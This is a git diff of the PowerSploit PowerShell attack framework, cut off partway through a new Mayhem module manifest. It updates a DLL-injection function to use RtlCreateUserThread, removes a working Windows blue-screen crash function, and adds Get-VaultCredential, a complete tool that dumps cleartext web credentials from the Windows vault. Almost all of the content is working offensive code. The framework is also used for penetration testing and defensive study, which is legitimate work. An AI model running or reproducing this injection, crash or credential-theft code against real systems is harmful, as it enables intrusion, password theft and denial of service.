diff options
-rw-r--r-- | Capstone/Capstone.psm1 | 2 | ||||
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 2 | ||||
-rw-r--r-- | CodeExecution/Invoke-DllInjection.ps1 | 50 | ||||
-rw-r--r-- | CodeExecution/Watch-BlueScreen.ps1 | 78 | ||||
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 43 | ||||
-rw-r--r-- | Exfiltration/Get-VaultCredential.ps1 | 401 | ||||
-rw-r--r-- | Exfiltration/Get-VaultCredential.ps1xml | 37 | ||||
-rw-r--r-- | Mayhem/Mayhem.psd1 | 87 | ||||
-rw-r--r-- | Mayhem/Mayhem.psm1 | 366 | ||||
-rw-r--r-- | Mayhem/Usage.md | 12 | ||||
-rw-r--r-- | Persistence/Persistence.psd1 | 5 | ||||
-rw-r--r-- | Persistence/Persistence.psm1 | 294 | ||||
-rw-r--r-- | README.md | 35 | ||||
-rw-r--r-- | ReverseEngineering/New-Object.ps1 | 90 | ||||
-rw-r--r-- | ReverseEngineering/ReverseEngineering.psd1 | 2 |
15 files changed, 1254 insertions, 250 deletions
diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1 index 6f55c1e..6507c54 100644 --- a/Capstone/Capstone.psm1 +++ b/Capstone/Capstone.psm1 @@ -1,5 +1,3 @@ -#Requires -Modules Capstone - function Get-CSDisassembly { <# diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 07963fc..85258a5 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Watch-BlueScreen.ps1', 'Usage.md' + 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 8395ab8..2d2019d 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -25,7 +25,7 @@ Name of the dll to inject. This can be an absolute or relative path. .EXAMPLE
-C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
+Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description
-----------
@@ -207,16 +207,13 @@ http://www.exploit-monday.com $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
+ $RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
+ $RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
+ $RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
- # Assume CPU to be 64-bit unless determined otherwise.
- $64bitCPU = $True
-
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
@@ -227,6 +224,14 @@ http://www.exploit-monday.com $PowerShell32bit = $False
}
+ $OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
+
+ switch ($OSArchitecture)
+ {
+ '32-bit' { $64bitOS = $False }
+ '64-bit' { $64bitOS = $True }
+ }
+
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
@@ -235,23 +240,20 @@ http://www.exploit-monday.com $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
- else
- {
- # IsWow64Process does not exist and thus, the CPU is not 64-bit.
- $64bitCPU = $False
- }
+
+ $Architecture = Get-PEArchitecture $Dll
+
+ Write-Verbose "Architecture of the dll to be injected: $Architecture"
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
- THrow 'Unable to open process handle.'
+ Throw 'Unable to open process handle.'
}
- $Architecture = Get-PEArchitecture $Dll
-
- if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
+ if ($64bitOS) # Only perform theses checks if OS is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
@@ -293,7 +295,7 @@ http://www.exploit-monday.com $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
- Throw 'Unable to allocate memory in remote process.'
+ Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
@@ -302,10 +304,10 @@ http://www.exploit-monday.com Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
- $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
- if (!$ThreadHandle)
+ $Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
+ if ($Result)
{
- Throw 'Unable to launch remote thread.'
+ Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -313,16 +315,16 @@ http://www.exploit-monday.com # Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
- Write-Verbose 'Dll injection complete!'
-
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
- $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
+ $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
- Write-Verbose "Injected DLL information:$($DllInfo)"
+ Write-Verbose 'Dll injection complete!'
+
+ $DllInfo
}
diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1 deleted file mode 100644 index 0a12a91..0000000 --- a/CodeExecution/Watch-BlueScreen.ps1 +++ /dev/null @@ -1,78 +0,0 @@ -function Watch-BlueScreen -{ -<# -.SYNOPSIS - - Cause a blue screen to occur (Windows 7 and below). - - PowerSploit Function: Watch-BlueScreen - Author: Matthew Graeber (@mattifestation) - Original Research: Tavis Ormandy and Nikita Tarakanov - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.NOTES - - Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov - ?tweeted this technique on 5/13/2013. - -.LINK - - https://gist.github.com/taviso/4658638 - http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html - https://twitter.com/NTarakanov/status/334031968465453057 -#> - [CmdletBinding( ConfirmImpact = 'High')] Param () - - try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException] - { - $DynAssembly = New-Object System.Reflection.AssemblyName('BSOD') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BSOD', $False) - $TypeBuilder = $ModuleBuilder.DefineType('Gdi32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'), - [Reflection.FieldInfo[]]@($SetLastError), @($true)) - - $TypeBuilder.DefinePInvokeMethod( 'CreateCompatibleDC', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [IntPtr], - @([IntPtr]), - 'Winapi', - 'Auto' ).SetCustomAttribute($SetLastErrorCustomAttribute) - - $TypeBuilder.DefinePInvokeMethod( 'SetLayout', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [UInt32], - @([IntPtr], [UInt32]), - 'Winapi', - 'Auto' ) | Out-Null - - $TypeBuilder.DefinePInvokeMethod( 'ScaleWindowExtEx', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [Bool], - @([IntPtr], [Int32], [Int32], [Int32], [Int32], [IntPtr]), - 'Winapi', - 'Auto' ) | Out-Null - - $Gdi32 = $TypeBuilder.CreateType() - } - - $LAYOUT_RTL = 1 - - if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' )) - { - $DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero) - $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null - $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null - } -} diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 2a5a152..6776b14 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -24,38 +24,8 @@ Description = 'PowerSploit Exfiltration Module' # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
-# Name of the Windows PowerShell host required by this module
-# PowerShellHostName = ''
-
-# Minimum version of the Windows PowerShell host required by this module
-# PowerShellHostVersion = ''
-
-# Minimum version of the .NET Framework required by this module
-# DotNetFrameworkVersion = ''
-
-# Minimum version of the common language runtime (CLR) required by this module
-# CLRVersion = ''
-
-# Processor architecture (None, X86, Amd64) required by this module
-# ProcessorArchitecture = ''
-
-# Modules that must be imported into the global environment prior to importing this module
-# RequiredModules = @()
-
-# Assemblies that must be loaded prior to importing this module
-# RequiredAssemblies = @()
-
-# Script files (.ps1) that are run in the caller's environment prior to importing this module.
-# ScriptsToProcess = ''
-
-# Type files (.ps1xml) to be loaded when importing this module
-# TypesToProcess = @()
-
# Format files (.ps1xml) to be loaded when importing this module
-# FormatsToProcess = @()
-
-# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
-# NestedModules = @()
+FormatsToProcess = 'Get-VaultCredential.ps1xml'
# Functions to export from this module
FunctionsToExport = '*'
@@ -76,15 +46,6 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
- 'VolumeShadowCopyTools.ps1'
-
-# Private data to pass to the module specified in RootModule/ModuleToProcess
-# PrivateData = ''
-
-# HelpInfo URI of this module
-# HelpInfoURI = ''
-
-# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
-# DefaultCommandPrefix = ''
+ 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
}
diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 new file mode 100644 index 0000000..c830fa2 --- /dev/null +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -0,0 +1,401 @@ +function Get-VaultCredential +{ +<# +.SYNOPSIS + +Displays Windows vault credential objects including cleartext web credentials. + +PowerSploit Function: Get-VaultCredential +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-VaultCredential enumerates and displays all credentials stored in the Windows +vault. Web credentials, specifically are displayed in cleartext. This script was +inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt + +.EXAMPLE + +Get-VaultCredential + +.NOTES + +Only web credentials can be displayed in cleartext. +#> + [CmdletBinding()] Param() + + $OSVersion = [Environment]::OSVersion.Version + $OSMajor = $OSVersion.Major + $OSMinor = $OSVersion.Minor + + #region P/Invoke declarations for vaultcli.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Undefined', -1) + $null = $EnumBuilder.DefineLiteral('Boolean', 0) + $null = $EnumBuilder.DefineLiteral('Short', 1) + $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) + $null = $EnumBuilder.DefineLiteral('Int', 3) + $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) + $null = $EnumBuilder.DefineLiteral('Double', 5) + $null = $EnumBuilder.DefineLiteral('Guid', 6) + $null = $EnumBuilder.DefineLiteral('String', 7) + $null = $EnumBuilder.DefineLiteral('ByteArray', 8) + $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) + $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) + $null = $EnumBuilder.DefineLiteral('Attribute', 11) + $null = $EnumBuilder.DefineLiteral('Sid', 12) + $null = $EnumBuilder.DefineLiteral('Last', 13) + $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Illegal', 0) + $null = $EnumBuilder.DefineLiteral('Resource', 1) + $null = $EnumBuilder.DefineLiteral('Identity', 2) + $null = $EnumBuilder.DefineLiteral('Authenticator', 3) + $null = $EnumBuilder.DefineLiteral('Tag', 4) + $null = $EnumBuilder.DefineLiteral('PackageSid', 5) + $null = $EnumBuilder.DefineLiteral('AppStart', 100) + $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) + $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() + + $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) + $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') + $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, + @([Runtime.InteropServices.LayoutKind]::Explicit), + $CharsetField, + @([Runtime.InteropServices.CharSet]::Ansi)) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) + $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') + $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') + } + $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') + $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') + $VAULT_ITEM = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) + $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) + $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) + $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) + $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() + + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Guid].MakeByRefType(), + [UInt32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + else + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + + $Vaultcli = $TypeBuilder.CreateType() + #endregion + + # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. + function local:Get-VaultElementValue + { + Param ( + [ValidateScript({$_ -ne [IntPtr]::Zero})] + [IntPtr] + $VaultElementPtr + ) + + $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) + $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) + + switch ($PartialElement.Type) + { + $VAULT_ELEMENT_TYPE::String { + $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) + } + + $VAULT_ELEMENT_TYPE::Boolean { + [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Short { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedShort { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Int { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedInt { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Double { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) + } + + $VAULT_ELEMENT_TYPE::Guid { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) + } + + $VAULT_ELEMENT_TYPE::Sid { + $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + Write-Verbose "0x$($SidPtr.ToString('X8'))" + $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) + $SidObject.Value + } + + # These elements are currently unimplemented. + # I have yet to see these used in practice. + $VAULT_ELEMENT_TYPE::ByteArray { $null } + $VAULT_ELEMENT_TYPE::TimeStamp { $null } + $VAULT_ELEMENT_TYPE::ProtectedArray { $null } + $VAULT_ELEMENT_TYPE::Attribute { $null } + $VAULT_ELEMENT_TYPE::Last { $null } + } + } + + $VaultCount = 0 + $VaultGuidPtr = [IntPtr]::Zero + $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" + } + + $GuidAddress = $VaultGuidPtr + + $VaultSchema = @{ + ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' + ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' + ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' + ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' + ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' + ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' + ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' + ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' + ([Guid] '00000000-0000-0000-0000-000000000000') = $null + } + + if ($VaultCount) + { + foreach ($i in 1..$VaultCount) + { + $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) + $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) + + $VaultHandle = [IntPtr]::Zero + + Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" + + $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) + + if ($Result -ne 0) + { + Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $VaultItemCount = 0 + $VaultItemPtr = [IntPtr]::Zero + + $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) + + if ($Result -ne 0) + { + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $StructAddress = $VaultItemPtr + + if ($VaultItemCount) + { + foreach ($j in 1..$VaultItemCount) + { + $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) + + $PasswordVaultItem = [IntPtr]::Zero + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + $CurrentItem.pPackageSid, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + else + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + + $PasswordItem = $null + + if ($Result -ne 0) + { + Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" + continue + } + else + { + $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) + } + + if ($VaultSchema.ContainsKey($VaultGuid)) + { + $VaultType = $VaultSchema[$VaultGuid] + } + else + { + $VaultType = $VaultGuid + } + + if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) + { + $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement + } + else + { + $Credential = $null + } + + $PackageSid = $null + + if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) + { + $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid + } + + + $Properties = @{ + Vault = $VaultType + Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } + Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } + PackageSid = $PackageSid + Credential = $Credential + LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) + } + + $VaultItem = New-Object PSObject -Property $Properties + $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' + + $VaultItem + + $null = $Vaultcli::VaultFree($PasswordVaultItem) + } + } + + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + } + } +}
\ No newline at end of file diff --git a/Exfiltration/Get-VaultCredential.ps1xml b/Exfiltration/Get-VaultCredential.ps1xml new file mode 100644 index 0000000..33e909f --- /dev/null +++ b/Exfiltration/Get-VaultCredential.ps1xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>VaultItemView</Name> + <ViewSelectedBy> + <TypeName>VAULTCLI.VAULTITEM</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>Vault</PropertyName> + </ListItem> + <ListItem> + <PropertyName>Resource</PropertyName> + </ListItem> + <ListItem> + <PropertyName>Identity</PropertyName> + </ListItem> + <ListItem> + <PropertyName>Credential</PropertyName> + </ListItem> + <ListItem> + <PropertyName>PackageSid</PropertyName> + </ListItem> + <ListItem> + <PropertyName>LastModified</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + </ViewDefinitions> +</Configuration> diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 new file mode 100644 index 0000000..82035d8 --- /dev/null +++ b/Mayhem/Mayhem.psd1 @@ -0,0 +1,87 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Mayhem.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' + +# Author of this module +Author = 'Matthew Graeber' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Mayhem Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of the .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this 